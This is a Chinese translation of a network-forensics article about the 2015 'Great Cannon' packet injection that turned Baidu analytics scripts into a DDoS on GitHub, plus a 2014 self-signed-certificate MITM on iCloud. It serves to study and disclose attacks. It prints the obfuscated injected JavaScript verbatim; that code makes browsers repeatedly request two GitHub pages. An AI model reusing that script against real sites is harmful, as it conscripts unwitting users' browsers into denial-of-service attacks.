對github的中間人攻擊

wyzsk發表於2020-08-19
作者: 路人甲 · 2015/05/16 11:56

0x00 簡介


source: http://www.netresec.com/?page=Blog&month=2015-03&post=China%27s-Man-on-the-Side-Attack-on-GitHub

enter image description here

3月27號github官方釋出公告

我們正在遭受github歷史上最大的DDOS(分散式拒絕服務)攻擊,攻擊從3月26號,週四下午兩點開始,攻擊手段組合了多種攻擊方式,從一些老式的攻擊手段到新式,透過瀏覽器讓毫不相干的圍觀群眾參與到對github攻擊流量的貢獻,根據我們收到的報告推斷,我們相信攻擊的目的是讓我們刪除某些特定的內容。

我們根據對網路攻擊的觀察可以推斷出某大型組織使用一些被動和主動的網路裝置來執行資料包注入攻擊,就是中間人攻擊來啟動乾死github,可以參考文章末尾的連結TTL analysis來了解我們如何推斷這是一箇中間人攻擊。

簡單來說,中間人攻擊的流程如下:

  1. 一個不在中國無辜的使用者進入了網際網路

  2. 無辜使用者進入的網站從中國的伺服器載入了一個javascript檔案。(比如百度統計的指令碼)

  3. 瀏覽器對於百度js的請求會被某國的被動設定檢測到其請求進入中國。

  4. 返回一個偽造的響應(注入三個資料包),而不是真正的百度統計指令碼,就是說返回的是一個惡意的js指令碼,導致使用者瀏覽器不斷請求github上兩個特殊的頁面。

不過,並非所有載入該指令碼的中國使用者都會進行攻擊,根據我們分析,大概只有1% 載入了百度分析的使用者會收到惡意js作為返回,其他都為正常行為。

我們用了一個簡單的辦法讓瀏覽器載入惡意指令碼,就是讓瀏覽器去訪問一些中國網站,載入了惡意js後,下面是我們在網路流量中觀察到的惡意行為。

enter image description here

工具 CapLoader

該指令碼導致我們瀏覽器不斷迴圈訪問 github (IP address 192.30.252.[128-131])

0x01 百度統計


百度統計指令碼會載入url像醬紫

http://hm.baidu.com/h.js?0deadbeef000deadbeef000deadbeef0 正常版
http://hm.baidu.com/hm.js?0deadbeef000deadbeef000deadbeef0 非同步版

正常情況下請求百度指令碼是張這個樣子的

enter image description here

注入後的惡意指令碼是張這個樣子的

enter image description here

注入後的響應每次的表現都是一樣的,注入的三個資料包是下面這個樣子的。

Injected packet #1:

#!bash
HTTP/1.1 200 OK
Server: Apache
Connection: close
Content-Type: text/javascript
Content-Length: 1130

Injected packet #2:

#!javascript
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?\'\':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!\'\'.replace(/^/,String)){while(c--)r[e(c)]=k[c][/c]||e(c);k=[function(e){return r[e]}];e=function(){return\'\\\\w+\'};c=1};while(c--)if(k[c][/c])p=p.replace(new RegExp(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c][/c]);return p}(\'l.k("<5 p=\\\'r://H.B.9/8/2.0.0/8.C.t\\\'>\\\\h/5>");!J.K&&l.k("<5 p=\\\'r://L.8.9/8-T.t\\\'>\\\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E","m://n.9/F-G"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);\',62,64,\'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeou

Injected packet #3:

#!javascript
t|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))

惡意的js是經過混淆的,只需要一些簡單的反混淆就可以得到原始碼。

enter image description here

其中可以看到,兩個目標url為 github.com/greatfire和github.com/cn-nytimes 這兩個均為一個用於規避(GFW)的映象站點。

0x02 TTL Analysis


Time-To-Live (TTL) 分析是一種非常有效的手段用於進行中間人攻擊的分析,我們用這種方法在之前對於 iCloud, Yahoo, Google和GitHub的攻擊上進行分析並且取得了不錯的結果。

這次攻擊github一個有趣的地方在於,攻擊者修改資料包的IP TTL值來致使難以定位惡意資料包的注入點。我們使用Tshark來輸出Source-IP, Destination-IP, TCP-Flags和IP-TTL,請看下面箭頭記號

#!bash
tshark -r baidu-high-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160  61.135.185.140  0x0002  64 <- SYN (client)
61.135.185.140  192.168.70.160  0x0012  42 <- SYN+ACK (server)
192.168.70.160  61.135.185.140  0x0010  64 <- ACK (client)
192.168.70.160  61.135.185.140  0x0018  64 <- HTTP GET (client)
61.135.185.140  192.168.70.160  0x0018  227 <- Injected packet 1 (injector)
192.168.70.160  61.135.185.140  0x0010  64
61.135.185.140  192.168.70.160  0x0018  228 <- Injected packet 2 (injector)
61.135.185.140  192.168.70.160  0x0019  229 <- Injected packet 3 (injector)
192.168.70.160  61.135.185.140  0x0010  64
192.168.70.160  61.135.185.140  0x0011  64

注意伺服器返回的SYN+ACK包的ttl是42,之後三個注入包的ttl值為227, 228和229。

這是另一個PCAP檔案解析的結果,這裡的ttl值比較低

#!bash
tshark -r baidu-low-ttl.pcap -T fields -e ip.src -e ip.dst -e tcp.flags -e ip.ttl
192.168.70.160  61.135.185.140  0x0002  64 <- SYN (client)
61.135.185.140  192.168.70.160  0x0012  42 <- SYN+ACK (server)
192.168.70.160  61.135.185.140  0x0010  64 <- ACK (client)
192.168.70.160  61.135.185.140  0x0018  64 <- HTTP GET (client)
61.135.185.140  192.168.70.160  0x0018  30 <- Injected packet 1 (injector)
192.168.70.160  61.135.185.140  0x0010  64 
61.135.185.140  192.168.70.160  0x0018  31 <- Injected packet 2 (injector)
61.135.185.140  192.168.70.160  0x0019  32 <- Injected packet 3 (injector)
192.168.70.160  61.135.185.140  0x0010  64 
192.168.70.160  61.135.185.140  0x0011  64

伺服器的SYN+ACK包的ip ttl值保持在42,但是包含惡意payload的 TTL包保持在30 到229,就是說SYN+ACK是來自百度的伺服器,但是注入的惡意包實際上是來自其他的什麼地方。

我們之前說過,注入的三個資料包總是相同的,使用者會話之間唯一不同的地方是目標的tcp埠,進一步加強了我們認為它是中間人攻擊的假設。我們就算直接放棄注入的資料包轉為直接從伺服器進行請求也沒有用。

0x03 其他的惡意js來源


百度統計並不是唯一資料包被替換成惡意的站點,根據GreatFire.org的分析報告,他們發現的url有如下

  • hm.baidu.com/h.js

  • cbjs.baidu.com/js/o.js

  • dup.baidustatic.com/tpl/wh.js

  • dup.baidustatic.com/tpl/ac.js

  • dup.baidustatic.com/painter/clb/fixed7o.js

  • dup.baidustatic.com/painter/clb/fixed7o.js

  • eclick.baidu.com/fp.htm?br= ...

  • pos.baidu.com/acom?adn= ...

  • cpro.baidu.com/cpro/ui/uijs.php?tu=...

  • pos.baidu.com/sync_pos.htm?cproid=...

雖然都是百度的域名,不過技術上來說任何某國的站點都可以被用來進行此種型別的攻擊。

0x04 更新


4月2日

Errata Security的Robert Graham透過進行一次http-traceroute驗證了我們這次攻擊來自某國的理論。文章

4月13日

Bill Marczak, Nicholas Weaver, Jakub Dalek, Roya Ensafi, David Fifield, Sarah McKune, Arn Rey, John Scott-Railton, Ronald Deibert和Vern Paxson釋出了一份報告驗證了關於奇怪的ttl值的資訊,同時他們將這個攻擊手段稱為Great Cannon

關於GFW TTL邊通道可以參考 paper

他們還真對GC和GFW的路徑進行了一些追蹤,

對於115.239.210.141  GFW 和GC共同在12和13之間切換,並且在 144.232.12.211和202.97.33.37存在連線,流量屬於電信,對於123.125.65.120,兩者在17和18之間切換,在219.158.101.61和219.158.101.49存在連結,屬於中國聯通。

這證實了GC位於一個asn,並且之前gfw的一次中間人攻擊也位於同樣的地方。

研究者釋出了一些PCAP檔案關於GC和GFW。

0x05 iCloud中國MITM攻擊 & 假冒ssl證照


ps:下面補充翻譯 http://www.netresec.com/?page=Blog&month=2014-10&post=Chinese-MITM-Attack-on-iCloud

中國使用者報告了一起對icloud ssl連線的MITM攻擊,目的可能在於竊取使用者的隱私資訊。

在GreatFire,一家監控某國防火牆活動的網站釋出過一篇相關的分析,他們的部落格中連結到一個捕獲的資料包資料,為了驗證其是否為MITM攻擊,我們對其進行了分析,我們將PcapNG檔案載入進NetworkMiner Professional並提取了X.509 SSL證照。

enter image description here

提取的證照下載地址,下面是一些證照的細節。

#!bash
$ openssl x509 -inform DER -in www.icloud.com.cer -noout -issuer -subject -startdate -enddate -fingerprint
issuer= /C=cn/O=www.icloud.com/CN=www.icloud.com
subject= /C=cn/O=www.icloud.com/CN=www.icloud.com
notBefore=Oct 4 10:35:47 2014 GMT
notAfter=Oct 4 10:35:47 2015 GMT
SHA1 Fingerprint=F4:68:B5:F3:FE:D8:07:97:44:76:A2:2B:32:EA:31:37:D9:24:F7:BA

對於自簽署證照,瀏覽器和大多數iphone應用會提醒使用者連線是不安全的。這次使用的自簽署證照符合之前對 GitHub, Google, Yahoo和live.com的MITM攻擊。

0x06 MITM攻擊定位


透過NetworkMiner對於假的ssl伺服器的分析我們可以看出,其中離客戶端只經過了6個路由器hops,這表明mitm攻擊是在中國進行的。

enter image description here

pcap檔案中的資料包顯示其來自同樣的ip,同樣的80埠,其中經過了11次的hops(ip ttl 53),因此我們假設只有透過443埠的流量才有可能為mitm攻擊。

之後我們分析了它的ttl,其顯示了不同的tcp traceroutes結果,其表示攻擊中用到的iCloud SSL伺服器位於不同的ip23.59.94.46:443

#!bash
My traceroute [v0.85]
siyanmao-k29 (0.0.0.0)                        Sat Oct 18 19:26:07 2014

Host                          Loss% Snt  Last   Avg  Best  Wrst StDev
1. 192.168.1.1                0.0%   17   0.6   0.7   0.6   0.8   0.0
2. -------------              0.0%   16   2.8   2.6   1.7   3.3   0.3
3. -------------              0.0%   16   2.0   2.2   1.4   4.0   0.4
4. ???
5. 119.145.47.78              0.0%   16   6.4   7.7   4.3  27.0   5.2
   183.56.65.54
   183.56.65.50
   119.145.47.74
   121.34.242.250
   121.34.242.138
6. 23.59.94.46               25.0%   16 168.5 171.4 166.8 201.3   9.4

檔案地址

這次結果顯示攻擊出現在中國電信 AS4134

#!bash
[email protected] ~
%tcptraceroute 23.59.94.46 443
Selected device en0, address 192.168.100.16, port 52406 for outgoing packets
Tracing the path to 23.59.94.46 on TCP port 443 (https), 30 hops max
1 192.168.100.254 1.737 ms 0.793 ms 0.798 ms
2 111.192.144.1 2.893 ms 2.967 ms 2.422 ms
3 61.51.246.25 2.913 ms 2.893 ms 3.968 ms
4 124.65.61.157 4.824 ms 2.658 ms 3.902 ms
5 202.96.12.9 3.626 ms 6.532 ms 3.794 ms
6 219.158.96.54 27.539 ms 26.821 ms 27.661 ms
7 a23-59-94-46.deploy.static.akamaitechnologies.com (23.59.94.46) [open] 30.064 ms 29.899 ms 30.126 ms

檔案地址

當然聯通也別想跑

enter image description here

原地址

Tcproute顯示CHINANET骨幹網路似乎是主要用於進行攻擊的地方。

TCP traceroutes的結果顯示,雖然mitm攻擊位於幾個不同的位置不過集中在中國的網際網路基礎設施上,具體點說,進行mitm攻擊的骨幹網路屬於電信和聯通。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章